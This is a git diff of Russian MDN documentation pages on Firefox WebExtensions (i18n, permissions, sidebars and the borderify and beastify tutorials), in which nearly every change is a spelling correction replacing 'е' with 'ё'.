+<p>Этот функционал может быть полезен, однако, возможно, для этих целей стоит использовать {{anch("Заранее определённые сообщения")}}.</p> <h2 id="Получение_сообщений_из_JavaScript">Получение сообщений из JavaScript</h2> @@ -163,7 +163,7 @@ original_slug: Mozilla/Add-ons/WebExtensions/Интернационализац <ul> <li>Скорее всего, наиболее часто Вы будете использовать {{WebExtAPIRef("i18n.getMessage()")}} — этот метод используется для получения конкретного сообщения. Примеры его использования можно увидеть ниже.</li> <li>Методы {{WebExtAPIRef("i18n.getAcceptLanguages()")}} и {{WebExtAPIRef("i18n.getUILanguage()")}} используются, если UI надо менять в зависимости от локализации — например, если Вы хотите, чтобы предпочтения, свойственные носителям какого-либо языка, находились выше в списке, или чтобы формат дат соответствовал локализации браузера.</li> - <li>Метод {{WebExtAPIRef("i18n.detectLanguage()")}} используется для получения языка информации, введенной пользователем, и ее форматирования.</li> + <li>Метод {{WebExtAPIRef("i18n.detectLanguage()")}} используется для получения языка информации, введённой пользователем, и её форматирования.</li> </ul> <p>В нашем примере <a href="https://github.com/mdn/webextensions-examples/tree/master/notify-link-clicks-i18n">notify-link-clicks-i18n</a> , <a href="https://github.com/mdn/webextensions-examples/blob/master/notify-link-clicks-i18n/background-script.js">фоновый скрипт</a> содержит следующие строки:</p> @@ -185,7 +185,7 @@ var content = browser.i18n.getMessage("notificationContent", message.url);</pre> } </pre> -<p>Объект <code>"placeholders"</code> определяет все заполнители и то, откуда их нужно получать. Заполнитель <code>"url"</code> указывает, что информация о нем должна содержаться в $1 — первое значение, заданное внутри второго параметра <code>getMessage()</code>. Поскольку заполнитель называется <code>"url"</code>, <code>$URL$</code> используется для его вызова внутри сообщения (то есть для заполнителя <code>"name"</code> нужно использовать <code>$NAME$</code>, и т. д.). Если Вы хотите задать значения нескольких заполнителей, их можно передавать во второй аргумент {{WebExtAPIRef("i18n.getMessage()")}} в виде массива — массив <code>[a, b, c]</code> передает значения <code>$1</code>, <code>$2</code> и <code>$3</code>, и т. д. внутрь <code>messages.json</code>.</p> +<p>Объект <code>"placeholders"</code> определяет все заполнители и то, откуда их нужно получать. Заполнитель <code>"url"</code> указывает, что информация о нем должна содержаться в $1 — первое значение, заданное внутри второго параметра <code>getMessage()</code>. Поскольку заполнитель называется <code>"url"</code>, <code>$URL$</code> используется для его вызова внутри сообщения (то есть для заполнителя <code>"name"</code> нужно использовать <code>$NAME$</code>, и т. д.). Если Вы хотите задать значения нескольких заполнителей, их можно передавать во второй аргумент {{WebExtAPIRef("i18n.getMessage()")}} в виде массива — массив <code>[a, b, c]</code> передаёт значения <code>$1</code>, <code>$2</code> и <code>$3</code>, и т. д. внутрь <code>messages.json</code>.</p> <p>Давайте посмотрим на пример: изначально сообщение <code>notificationContent</code> в файле <code>en/messages.json</code> такое:</p> @@ -220,13 +220,13 @@ var content = browser.i18n.getMessage("notificationContent", message.url);</pre> } }</pre> -<p>В этом примере мы сами задаем значение заполнителя, а не получаем его из переменной, такой как <code>$1</code>. Это может быть полезно, если сообщение очень сложное, и Вы хотите разделить значения, чтобы сделать строки более читаемыми. К тому же, доступ к этим значениям можно получить внутри программы.</p> +<p>В этом примере мы сами задаём значение заполнителя, а не получаем его из переменной, такой как <code>$1</code>. Это может быть полезно, если сообщение очень сложное, и Вы хотите разделить значения, чтобы сделать строки более читаемыми. К тому же, доступ к этим значениям можно получить внутри программы.</p> <p>Вы также можете использовать такие замены для указания частей строки, не нуждающихся в переводе, таких как имена или названия.</p> <h2 id="Выбор_локализованной_строки">Выбор локализованной строки</h2> -<p>Локализации могут быть указаны с помощью кода языка, например <code>fr</code> или <code>en</code>. Они также могут содержать региональный код, например <code>en_US</code> или <code>en_GB</code>, описывающий региональный вариант языка. Когда вы запрашиваете строку у системы i18n, системы возвращает ее используя следующий алгоритм:</p> +<p>Локализации могут быть указаны с помощью кода языка, например <code>fr</code> или <code>en</code>. Они также могут содержать региональный код, например <code>en_US</code> или <code>en_GB</code>, описывающий региональный вариант языка. Когда вы запрашиваете строку у системы i18n, системы возвращает её используя следующий алгоритм:</p> <ol> <li>Если для текущей локализации существует файл <code>messages.json</code>, содержащий требуемую строку, возвращается она.</li> @@ -278,21 +278,21 @@ var content = browser.i18n.getMessage("notificationContent", message.url);</pre> <p>Пусть <code>default_locale</code> установлен как <code>fr</code>, а текущая локализация браузера — <code>en_GB</code>:</p> <ul> - <li>Вызов <code>getMessage("colorLocalised")</code> вернет "colour".</li> + <li>Вызов <code>getMessage("colorLocalised")</code> вернёт "colour".</li> <li>Если бы в <code>en_GB</code> не было "colorLocalized", то вызов <code>getMessage("colorLocalised")</code>, вернул бы "color", а не "couleur".</li> </ul> -<h2 id="Заранее_определенные_сообщения">Заранее определенные сообщения</h2> +<h2 id="Заранее_определённые_сообщения">Заранее определённые сообщения</h2> -<p>Модуль i18n module предоставляет заранее определенные сообщения, которые можно вызвать таким же образом, как мы это делали в разделе {{anch("Интернационализация manifest.json")}}. Например:</p> +<p>Модуль i18n module предоставляет заранее определённые сообщения, которые можно вызвать таким же образом, как мы это делали в разделе {{anch("Интернационализация manifest.json")}}. Например:</p> <pre class="notranslate">__MSG_extensionName__</pre> -<p>Заранее определенные сообщения используют такой же синтаксис, за исключением <code>@@</code> перед именем сообщения, например:</p> +<p>Заранее определённые сообщения используют такой же синтаксис, за исключением <code>@@</code> перед именем сообщения, например:</p> <pre class="notranslate">__MSG_@@ui_locale__</pre> -<p>Следующая таблица содержит различные заранее определенные сообщения:</p> +<p>Следующая таблица содержит различные заранее определённые сообщения:</p> <table class="standard-table"> <thead> @@ -358,7 +358,7 @@ div#header { position: relative; }</pre> -<p>Для языков, в которых текст читается слева направо, таких как английский, правила CSS, использующие заранее определенные сообщения, сверху задают такие значения:</p> +<p>Для языков, в которых текст читается слева направо, таких как английский, правила CSS, использующие заранее определённые сообщения, сверху задают такие значения:</p> <pre class="brush: css notranslate">direction: ltr; padding-left: 0; @@ -396,11 +396,11 @@ padding-left: 1.5em;</pre> <p><strong>Примечание:</strong> Чтобы изменить результат <code>getUILanguage</code> требуется языковой пакет, поскольку он отражает язык UI браузера, а не язык сообщений расширения.</p> </div> -<p>Еще раз загрузите расширение с диска и протестируйте локализацию:</p> +<p>Ещё раз загрузите расширение с диска и протестируйте локализацию:</p> <ul> - <li>Еще раз откройте "about:addons" — теперь Вы должны увидеть Ваше расширение, его иконку, имя и описание на выбранном языке.</li> - <li>Еще раз протестируйте расширение. Для нашего примера, Вам следовало бы посетить другую страницу и, нажав на ссылку, проверить, появляется ли сообщение на нужном языке.</li> + <li>Ещё раз откройте "about:addons" — теперь Вы должны увидеть Ваше расширение, его иконку, имя и описание на выбранном языке.</li> + <li>Ещё раз протестируйте расширение. Для нашего примера, Вам следовало бы посетить другую страницу и, нажав на ссылку, проверить, появляется ли сообщение на нужном языке.</li> </ul> <p>{{EmbedYouTube("R7--fp5pPGg")}}</p> diff --git a/files/ru/mozilla/add-ons/webextensions/manifest.json/permissions/index.html b/files/ru/mozilla/add-ons/webextensions/manifest.json/permissions/index.html index fccb5d5dba..9ab128e3ee 100644 --- a/files/ru/mozilla/add-ons/webextensions/manifest.json/permissions/index.html +++ b/files/ru/mozilla/add-ons/webextensions/manifest.json/permissions/index.html @@ -146,7 +146,7 @@ translation_of: Mozilla/Add-ons/WebExtensions/manifest.json/permissions <li>Получение доступа к привилегированным частям tabs API для активной вкладки: <code>Tab.url</code>, <code>Tab.title</code> и <code>Tab.faviconUrl</code>.</li> </ul> -<p>Цель этих полномочий – позволить расширению выполнять наиболее распространенные сценарии работы, без необходимости выдавать ему более серьёзные привилегии, так как большинство расширений задумано для выполнения какой-либо работы на активной вкладке после взаимодействия с пользователем. Например, представьте расширение, которое встраивает скрипт на текущую страницу, после того как пользователь нажимает на кнопку расширения на панели инструментов. Если бы <code>activeTab</code> полномочий не существовало, расширению бы пришлось запрашивать <code><all_urls></code>. Но они бы давали расширению намного больше привилегий, чем ему было бы необходимо: расширение могло бы встраивать скрипты на любую вкладку и в любой момент, когда пожелает.</p> +<p>Цель этих полномочий – позволить расширению выполнять наиболее распространённые сценарии работы, без необходимости выдавать ему более серьёзные привилегии, так как большинство расширений задумано для выполнения какой-либо работы на активной вкладке после взаимодействия с пользователем. Например, представьте расширение, которое встраивает скрипт на текущую страницу, после того как пользователь нажимает на кнопку расширения на панели инструментов. Если бы <code>activeTab</code> полномочий не существовало, расширению бы пришлось запрашивать <code><all_urls></code>. Но они бы давали расширению намного больше привилегий, чем ему было бы необходимо: расширение могло бы встраивать скрипты на любую вкладку и в любой момент, когда пожелает.</p> <p>Заметьте, что вы сможете иметь доступ к привилегированному tab API, только на момент взаимодействия расширения с пользователем, и пока вкладка не изменила своё состояние. То есть расширение перестанет иметь данные привилегии при изменении адреса страницы или каком-либо другом событии с вкладкой.</p> diff --git a/files/ru/mozilla/add-ons/webextensions/manifest.json/version/index.html b/files/ru/mozilla/add-ons/webextensions/manifest.json/version/index.html index 42892c82af..8f913532df 100644 --- a/files/ru/mozilla/add-ons/webextensions/manifest.json/version/index.html +++ b/files/ru/mozilla/add-ons/webextensions/manifest.json/version/index.html @@ -29,7 +29,7 @@ translation_of: Mozilla/Add-ons/WebExtensions/manifest.json/version </tbody> </table> -<p>Версия дополнения, отформатированная как числа и символы ASCII, разделенные точками. Подробнее о формате версий смотрите страницу <a href="https://developer.mozilla.org/ru/docs/Toolkit_version_format">Version format</a>.</p> +<p>Версия дополнения, отформатированная как числа и символы ASCII, разделённые точками. Подробнее о формате версий смотрите страницу <a href="https://developer.mozilla.org/ru/docs/Toolkit_version_format">Version format</a>.</p> <p>Обратите внимание, что <a href="https://developer.chrome.com/extensions/manifest/version">синтаксис ключа <code>version</code> для Chrome</a> более ограниченный, чем у Firefox:</p> diff --git a/files/ru/mozilla/add-ons/webextensions/modify_a_web_page/index.html b/files/ru/mozilla/add-ons/webextensions/modify_a_web_page/index.html index a221a2a415..3a726aeaaa 100644 --- a/files/ru/mozilla/add-ons/webextensions/modify_a_web_page/index.html +++ b/files/ru/mozilla/add-ons/webextensions/modify_a_web_page/index.html @@ -74,7 +74,7 @@ document.body.appendChild(header);</pre> <h2 id="Программная_модификация_страницы">Программная модификация страницы</h2> -<p>Что, если вы всё еще хотите "съедать" страницы, но лишь в тех случаях, когда пользователь попросил об этом? Давайте обновим этот пример таким образом, чтобы мы внедряли контентный скрипт, когда пользователь выбирает соответствующий пункт контентного меню.</p> +<p>Что, если вы всё ещё хотите "съедать" страницы, но лишь в тех случаях, когда пользователь попросил об этом? Давайте обновим этот пример таким образом, чтобы мы внедряли контентный скрипт, когда пользователь выбирает соответствующий пункт контентного меню.</p> <p>Для начала обновим "manifest.json":</p> diff --git a/files/ru/mozilla/add-ons/webextensions/user_interface/browser_action/index.html b/files/ru/mozilla/add-ons/webextensions/user_interface/browser_action/index.html index ba7e259817..6d637ce5e6 100644 --- a/files/ru/mozilla/add-ons/webextensions/user_interface/browser_action/index.html +++ b/files/ru/mozilla/add-ons/webextensions/user_interface/browser_action/index.html @@ -7,14 +7,14 @@ translation_of: Mozilla/Add-ons/WebExtensions/user_interface/Browser_action --- <div>{{AddonSidebar}}</div> -<p>Кнопка на панели инструментов браузера (оригинальное название <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/browserAction">browser action</a>) - это иконка, которую можно вывести в панель инструментов. Пользователь взаимодействует с расширением нажимая на нее как на кнопку.<br> +<p>Кнопка на панели инструментов браузера (оригинальное название <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/browserAction">browser action</a>) - это иконка, которую можно вывести в панель инструментов. Пользователь взаимодействует с расширением нажимая на неё как на кнопку.<br> <img alt="" src="https://mdn.mozillademos.org/files/12966/browser-action.png" style="display: block; height: 387px; margin-left: auto; margin-right: auto; width: 782px;"></p> <p>Кнопка на панели инструментов одинаково отображается для любой открытой вкладки. Это предполагает, что расширение единообразно работает со всеми страницами.</p> <p>Например, предустановленная кнопка "обновить" перезагружает любую страницу в активной вкладке, кнопка "добавить в избранное" добавляет любой адрес активной вкладки в список избранного. Кнопка загрузок показывает единый для всего браузера список скачанных файлов, независимо от того что за страница открыта в активной вкладке.</p> -<p>Применимые лишь к определенным страницам кнопки следует реализовывать с помощью кнопки в адресной строке (<a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Page_actions">page action</a>).</p> +<p>Применимые лишь к определённым страницам кнопки следует реализовывать с помощью кнопки в адресной строке (<a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Page_actions">page action</a>).</p> <h2 id="Объявление_в_manifest.json"><span class="short_text" id="result_box" lang="ru"><span>Объявление в manifest.json</span></span></h2> @@ -32,11 +32,11 @@ translation_of: Mozilla/Add-ons/WebExtensions/user_interface/Browser_action <p>Расширение может иметь только одну кнопку для панели инструментов.</p> -<p>Возможны два способа реакции на нажатие кнопки: отображение <a href="/en-US/Add-ons/WebExtensions/Popups">всплывающего окна</a> (описано в отдельном разделе) или отправка события в background script расширения. В таком случае реакция на нажатие обеспечивают обработчики событий, подключенные к <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/BrowserAction/onClicked" title="Fired when a browser action icon is clicked. This event will not fire if the browser action has a popup."><code>browserAction.onClicked</code></a>:</p> +<p>Возможны два способа реакции на нажатие кнопки: отображение <a href="/en-US/Add-ons/WebExtensions/Popups">всплывающего окна</a> (описано в отдельном разделе) или отправка события в background script расширения. В таком случае реакция на нажатие обеспечивают обработчики событий, подключённые к <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/BrowserAction/onClicked" title="Fired when a browser action icon is clicked. This event will not fire if the browser action has a popup."><code>browserAction.onClicked</code></a>:</p> <pre class="brush: js line-numbers language-js"><code class="language-js">browser<span class="punctuation token">.</span>browserAction<span class="punctuation token">.</span>onClicked<span class="punctuation token">.</span><span class="function token">addListener</span><span class="punctuation token">(</span>handleClick<span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre> -<p>Если же указать в качестве реакции на нажатие всплывающее окно, то событие передано не будет. Вместо этого около кнопки отобразится всплывающее окно - отдельная маленькая страница, дальнейшее взаимодействие с пользователем берет на себя она. Подробнее этот сценарий описан на отдельной странице, посвященной <a href="/en-US/Add-ons/WebExtensions/Popups">всплывающим окнам</a>.</p> +<p>Если же указать в качестве реакции на нажатие всплывающее окно, то событие передано не будет. Вместо этого около кнопки отобразится всплывающее окно - отдельная маленькая страница, дальнейшее взаимодействие с пользователем берет на себя она. Подробнее этот сценарий описан на отдельной странице, посвящённой <a href="/en-US/Add-ons/WebExtensions/Popups">всплывающим окнам</a>.</p> <p>Все свойства кнопки на панели инструментов можно изменить программно через API <code><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/browserAction">browserAction</a></code>.</p> diff --git a/files/ru/mozilla/add-ons/webextensions/user_interface/index.html b/files/ru/mozilla/add-ons/webextensions/user_interface/index.html index 142b9deb98..661e20a482 100644 --- a/files/ru/mozilla/add-ons/webextensions/user_interface/index.html +++ b/files/ru/mozilla/add-ons/webextensions/user_interface/index.html @@ -7,7 +7,7 @@ translation_of: Mozilla/Add-ons/WebExtensions/user_interface --- <div>{{AddonSidebar}}</div> -<p>У расширений WebExtensions есть несколько органов взаимодействия с пользователем, с их помощью человек пользуется <em>расширенным</em> функционалом. Все они перечислены ниже, с инструкцией как использовать в своем расширении каждый из них<span id="result_box" lang="ru"><span>.</span></span></p> +<p>У расширений WebExtensions есть несколько органов взаимодействия с пользователем, с их помощью человек пользуется <em>расширенным</em> функционалом. Все они перечислены ниже, с инструкцией как использовать в своём расширении каждый из них<span id="result_box" lang="ru"><span>.</span></span></p> <div class="note"> <p><span id="result_box" lang="ru"><span>Советы как с помощью этих элементов пользовательского интерфейса (UI)</span></span><span lang="ru"><span> обеспечить отличное взаимодействие человека с программой вы найдёте в статье </span></span><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/User_experience_best_practices">User experience best practices</a>.</p> @@ -43,7 +43,7 @@ translation_of: Mozilla/Add-ons/WebExtensions/user_interface </tr> <tr> <td><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface/Page_actions">Кнопка в адресной строке</a></td> - <td>В отличие от панели инструментов, в адресной строке кнопка должна появляться только рядом с адресом предназначенной для нее страницы.</td> + <td>В отличие от панели инструментов, в адресной строке кнопка должна появляться только рядом с адресом предназначенной для неё страницы.</td> <td><img alt="Example showing an address bar button (page action)" src="https://mdn.mozillademos.org/files/15047/address_bar_button.png" style="height: 127px; width: 350px;"></td> </tr> <tr> @@ -59,7 +59,7 @@ translation_of: Mozilla/Add-ons/WebExtensions/user_interface <tr> <td><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface/Sidebars">Боковая панель</a></td> <td> - <p dir="ltr">В боковой панели рядом с интернет-сайтом открывается web-страница с интерфейсом пользователя. Человек может ее закрыть и открыть когда в ней появится потребность.</p> + <p dir="ltr">В боковой панели рядом с интернет-сайтом открывается web-страница с интерфейсом пользователя. Человек может её закрыть и открыть когда в ней появится потребность.</p> </td> <td><img alt="Example of a WebExtension's sidebar" src="https://mdn.mozillademos.org/files/14825/bookmarks-sidebar.png" style="height: 209px; width: 350px;"></td> </tr> diff --git a/files/ru/mozilla/add-ons/webextensions/user_interface/sidebars/index.html b/files/ru/mozilla/add-ons/webextensions/user_interface/sidebars/index.html index 8393c7b8f2..db2780be8b 100644 --- a/files/ru/mozilla/add-ons/webextensions/user_interface/sidebars/index.html +++ b/files/ru/mozilla/add-ons/webextensions/user_interface/sidebars/index.html @@ -13,9 +13,9 @@ translation_of: Mozilla/Add-ons/WebExtensions/user_interface/Sidebars <p>Браузер может включать в себя ряд встроенных боковых панелей. Например, Firefox включает боковую панель для взаимодействия с закладками:</p> -<p><img alt="" src="https://mdn.mozillademos.org/files/14825/bookmarks-sidebar.png" style="display: block; height: 761px; margin-left: auto; margin-right: auto; width: 728px;">Используя ключ <code>sidebar_action</code> в manifest.json, расширение может добавить свою боковую панель в браузер. Она будет доступна наравне со встроенными панелями, и пользователь сможет открыть ее, используя тот же механизм, что и для встроенных боковых панелей.</p> +<p><img alt="" src="https://mdn.mozillademos.org/files/14825/bookmarks-sidebar.png" style="display: block; height: 761px; margin-left: auto; margin-right: auto; width: 728px;">Используя ключ <code>sidebar_action</code> в manifest.json, расширение может добавить свою боковую панель в браузер. Она будет доступна наравне со встроенными панелями, и пользователь сможет открыть её, используя тот же механизм, что и для встроенных боковых панелей.</p> -<p>Как и в случае всплывающих окон (Popups), вы задаете содержимое боковой панели как документ HTML. Когда пользователь открывает боковую панель, этот документ загружается в каждое открытое окно браузера. Каждое окно получает свой экземпляр документа. Когда открываются новые окна, они также получат свои собственные экземпляры документа боковой панели.</p> +<p>Как и в случае всплывающих окон (Popups), вы задаёте содержимое боковой панели как документ HTML. Когда пользователь открывает боковую панель, этот документ загружается в каждое открытое окно браузера. Каждое окно получает свой экземпляр документа. Когда открываются новые окна, они также получат свои собственные экземпляры документа боковой панели.</p> <p>Вы можете задать HTML документ для конкретной вкладки, используя функцию {{WebExtAPIRef("sidebarAction.setPanel()")}}. Боковая панель может определить, к какому окну она принадлежит используя {{WebExtAPIRef("windows.getCurrent()")}} API:</p> @@ -34,7 +34,7 @@ browser.windows.getCurrent({populate: true}).then((windowInfo) => { <h2 id="Использование_боковых_панелей">Использование боковых панелей</h2> -<p>Чтобы использовать боковую панель в своем расширении, укажите с помощью ключа <code><a href="/en-US/Add-ons/WebExtensions/manifest.json/sidebar_action">sidebar_action</a></code> в manifest.json key, HTML-документ панели, а также заголовок и значок по умолчанию:</p> +<p>Чтобы использовать боковую панель в своём расширении, укажите с помощью ключа <code><a href="/en-US/Add-ons/WebExtensions/manifest.json/sidebar_action">sidebar_action</a></code> в manifest.json key, HTML-документ панели, а также заголовок и значок по умолчанию:</p> <pre class="brush: json">"sidebar_action": { "default_title": "My sidebar", diff --git a/files/ru/mozilla/add-ons/webextensions/what_are_webextensions/index.html b/files/ru/mozilla/add-ons/webextensions/what_are_webextensions/index.html index f35a11fdb7..cae5ec254f 100644 --- a/files/ru/mozilla/add-ons/webextensions/what_are_webextensions/index.html +++ b/files/ru/mozilla/add-ons/webextensions/what_are_webextensions/index.html @@ -75,7 +75,7 @@ translation_of: Mozilla/Add-ons/WebExtensions/What_are_WebExtensions </div> <div> -<p>WebExtensions - это кросс-браузерная система для разработки дополнений для браузера. В значительной степени ее API совместим с <a class="external external-icon" href="https://developer.chrome.com/extensions">extension API</a>, который поддерживается браузерами Google Chrome и Opera. Расширения, разработанные для этих браузеров, в большинстве случаев будут работать в Firefox или Microsoft Edge с минимальными изменениями. Также API полностью совместим с <a href="/ru/Firefox/Multiprocess_Firefox">мультипроцессным Firefox</a>.</p> +<p>WebExtensions - это кросс-браузерная система для разработки дополнений для браузера. В значительной степени её API совместим с <a class="external external-icon" href="https://developer.chrome.com/extensions">extension API</a>, который поддерживается браузерами Google Chrome и Opera. Расширения, разработанные для этих браузеров, в большинстве случаев будут работать в Firefox или Microsoft Edge с минимальными изменениями. Также API полностью совместим с <a href="/ru/Firefox/Multiprocess_Firefox">мультипроцессным Firefox</a>.</p> </div> <div> @@ -83,7 +83,7 @@ translation_of: Mozilla/Add-ons/WebExtensions/What_are_WebExtensions </div> <div> -<p>До появления WebExtensions разработка дополнения для Firefox осуществлялась одним из трех различных способов: <a href="/en-US/Add-ons/Overlay_Extensions">XUL/XPCOM overlays</a>, <a href="/en-US/docs/Mozilla/Add-ons/Bootstrapped_extensions">bootstrapped extensions</a> или <a href="/en-US/docs/Mozilla/Add-ons/SDK">Add-on SDK</a>. В будущем WebExtensions станет рекомендуемым способом разработки дополнений для Firefox, а остальные способы будут считаться устаревшими.</p> +<p>До появления WebExtensions разработка дополнения для Firefox осуществлялась одним из трёх различных способов: <a href="/en-US/Add-ons/Overlay_Extensions">XUL/XPCOM overlays</a>, <a href="/en-US/docs/Mozilla/Add-ons/Bootstrapped_extensions">bootstrapped extensions</a> или <a href="/en-US/docs/Mozilla/Add-ons/SDK">Add-on SDK</a>. В будущем WebExtensions станет рекомендуемым способом разработки дополнений для Firefox, а остальные способы будут считаться устаревшими.</p> </div> <h2 id="Что_дальше">Что дальше?</h2> diff --git a/files/ru/mozilla/add-ons/webextensions/your_first_webextension/index.html b/files/ru/mozilla/add-ons/webextensions/your_first_webextension/index.html index e9e4e74784..4e55db9d08 100644 --- a/files/ru/mozilla/add-ons/webextensions/your_first_webextension/index.html +++ b/files/ru/mozilla/add-ons/webextensions/your_first_webextension/index.html @@ -10,7 +10,7 @@ translation_of: Mozilla/Add-ons/WebExtensions/Your_first_WebExtension --- <div>{{AddonSidebar}}</div> -<p>В этой статье мы пройдем весь путь создания WebExtension для Firefox, от начала и до конца. Это дополнение будет просто добавлять красную рамку ко всем страницам, загруженным с "mozilla.org" или любого из его поддоменов.</p> +<p>В этой статье мы пройдём весь путь создания WebExtension для Firefox, от начала и до конца. Это дополнение будет просто добавлять красную рамку ко всем страницам, загруженным с "mozilla.org" или любого из его поддоменов.</p> <p>Исходный код этого дополнения доступен на GitHub: <a href="https://github.com/mdn/webextensions-examples/tree/master/borderify">https://github.com/mdn/webextensions-examples/tree/master/borderify</a>.</p> @@ -18,7 +18,7 @@ translation_of: Mozilla/Add-ons/WebExtensions/Your_first_WebExtension <h2 id="Написание_WebExtension">Написание WebExtension</h2> -<p>Создайте новую директорию (папку) и перейдите в нее:</p> +<p>Создайте новую директорию (папку) и перейдите в неё:</p> <pre class="brush: bash">mkdir borderify cd borderify</pre> diff --git a/files/ru/mozilla/add-ons/webextensions/your_second_webextension/index.html b/files/ru/mozilla/add-ons/webextensions/your_second_webextension/index.html index 09f29a7532..53e30de86f 100644 --- a/files/ru/mozilla/add-ons/webextensions/your_second_webextension/index.html +++ b/files/ru/mozilla/add-ons/webextensions/your_second_webextension/index.html @@ -9,14 +9,14 @@ tags: translation_of: Mozilla/Add-ons/WebExtensions/Your_second_WebExtension --- <div>{{AddonSidebar}} -<p>Если Вы уже прочитали статью <a dir="ltr" href="/ru/Add-ons/WebExtensions/Your_first_WebExtension" lang="ru-ru">Ваш первый WebExtension</a>, то уже представляете, как создавать WebExtension. В этой статье мы напишем более сложное дополнение, которое демонстрирует еще несколько API.</p> +<p>Если Вы уже прочитали статью <a dir="ltr" href="/ru/Add-ons/WebExtensions/Your_first_WebExtension" lang="ru-ru">Ваш первый WebExtension</a>, то уже представляете, как создавать WebExtension. В этой статье мы напишем более сложное дополнение, которое демонстрирует ещё несколько API.</p> <p>Дополнение добавляет новую кнопку на панель инструментов Firefox. Когда пользователь кликает по кнопке, мы показываем ему всплывающую панель с предложением выбрать животное. Когда животное выбрано, мы заменяем содержимое текущей страницы на изображение выбранного животного.</p> <p>Чтобы реализовать это, мы:</p> <ul> - <li><strong>определим <a href="/ru/docs/Mozilla/Add-ons/WebExtensions/Browser_action">browser action</a> - кнопку, прикрепленную к панели инструментов Firefox.</strong><br> + <li><strong>определим <a href="/ru/docs/Mozilla/Add-ons/WebExtensions/Browser_action">browser action</a> - кнопку, прикреплённую к панели инструментов Firefox.</strong><br> Для кнопки мы предоставим: <ul> <li>иконку с именем "beasts-32.png"</li> @@ -50,7 +50,7 @@ translation_of: Mozilla/Add-ons/WebExtensions/Your_second_WebExtension <h2 id="Написание_WebExtension">Написание WebExtension</h2> -<p>Создайте новую директорию и перейдите в нее:</p> +<p>Создайте новую директорию и перейдите в неё:</p> <pre class="brush: bash">mkdir beastify cd beastify</pre> @@ -95,11 +95,11 @@ cd beastify</pre> <li><code><a href="/ru/docs/Mozilla/Add-ons/WebExtensions/manifest.json/description">description</a></code> <code>и <a href="/ru/docs/Mozilla/Add-ons/WebExtensions/manifest.json/homepage_url">homepage_url</a></code> необязательны, но рекомендуемы: они предоставляют полезную информацию о дополнении.</li> <li><code><a href="/ru/docs/Mozilla/Add-ons/WebExtensions/manifest.json/icons">icons</a></code> необязательный, но рекомендуемый: позволяет Вам определять иконку для дополнения, которая будет показана в Менеджере Дополнений.</li> <li><code><a href="/ru/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions">permissions</a></code> перечисляет разрешения для нужд дополнения. Здесь мы просто спрашиваем разрешения для <a href="/ru/Add-ons/WebExtensions/manifest.json/permissions#activeTab_permission"><code>activeTab</code> permission</a>.</li> - <li><code><a href="/ru/docs/Mozilla/Add-ons/WebExtensions/manifest.json/browser_action">browser_action</a></code> задает кнопку на панели инструментов. Здесь мы предоставляем три вида информации: + <li><code><a href="/ru/docs/Mozilla/Add-ons/WebExtensions/manifest.json/browser_action">browser_action</a></code> задаёт кнопку на панели инструментов. Здесь мы предоставляем три вида информации: <ul> <li><code>default_icon</code> это обязательная иконка для кнопки</li> <li><code>default_title</code> необязательный заголовок, будет показан в подсказке</li> - <li><code>default_popup</code> используется, если Вы хотите, чтобы всплывающая панель была показана когда пользователь кликает по кнопке. В нашем примере мы использовали этот ключ и он указывает на HTML файл, подключенный к дополнению.</li> + <li><code>default_popup</code> используется, если Вы хотите, чтобы всплывающая панель была показана когда пользователь кликает по кнопке. В нашем примере мы использовали этот ключ и он указывает на HTML файл, подключённый к дополнению.</li> </ul> </li> <li><code><a href="/ru/docs/Mozilla/Add-ons/WebExtensions/manifest.json/web_accessible_resources">web_accessible_resources</a></code> перечисляет файлы, которые мы хотим сделать доступными для веб-страниц. Поскольку дополнение заменяет содержимое страницы на изображения, которые мы упаковали вместе с дополнением, нам нужно сделать эти изображения доступными для страницы.</li> @@ -130,9 +130,9 @@ cd beastify</pre> <h3 id="Всплывающая_панель">Всплывающая панель</h3> -<p>Функция панели - позволить пользователю выбрать одного из трех зверей.</p> +<p>Функция панели - позволить пользователю выбрать одного из трёх зверей.</p> -<p>Создайте новую папку с именем "popup" в корневой папке дополнения. Здесь мы сохраним код для панели. Панель будет состоять из трех файлов:</p> +<p>Создайте новую папку с именем "popup" в корневой папке дополнения. Здесь мы сохраним код для панели. Панель будет состоять из трёх файлов:</p> <ul> <li><strong><code>choose_beast.html</code></strong> определяет содержимое панели</li> @@ -167,7 +167,7 @@ cd beastify</pre> <h4 id="choose_beast.css">choose_beast.css</h4> -<p>CSS фиксирует размер всплывающей панели, гарантирует что три варианта заполняют пространство и дает им основной стиль:</p> +<p>CSS фиксирует размер всплывающей панели, гарантирует что три варианта заполняют пространство и даёт им основной стиль:</p> <pre class="brush: css">html, body { width: 100px; @@ -200,7 +200,7 @@ cd beastify</pre> <h4 id="choose_beast.js">choose_beast.js</h4> -<p>В JavaScript для всплывающего окна мы обрабатываем события click. Если click был на одном из трех вариантов наших животных, мы добавляем content script в активную вкладку. После того, как content script загрузится, мы отправляем ему сообщение с выбранным животным:</p> +<p>В JavaScript для всплывающего окна мы обрабатываем события click. Если click был на одном из трёх вариантов наших животных, мы добавляем content script в активную вкладку. После того, как content script загрузится, мы отправляем ему сообщение с выбранным животным:</p> <pre class="brush: js">/* Учитывая имя зверя, получаем URL соответствующего изображения. @@ -286,7 +286,7 @@ function removeEverything() { } /* -Учитывая URL изображения зверя, создает и стилизует узел IMG, +Учитывая URL изображения зверя, создаёт и стилизует узел IMG, указывающий на это изображение, затем вставляет узел в документ. */ function insertBeast(beastURL) { @@ -307,7 +307,7 @@ browser.runtime.onMessage.addListener(beastify); <ul> <li>удаляет каждый элемент из <code>document.body</code></li> - <li>создает <code><img></code> элемент, указывающий на переданный URL, и вставляет элемент в DOM</li> + <li>создаёт <code><img></code> элемент, указывающий на переданный URL, и вставляет элемент в DOM</li> <li>удаляет обработчик сообщений.</li> </ul> @@ -344,13 +344,13 @@ browser.runtime.onMessage.addListener(beastify); manifest.json</pre> 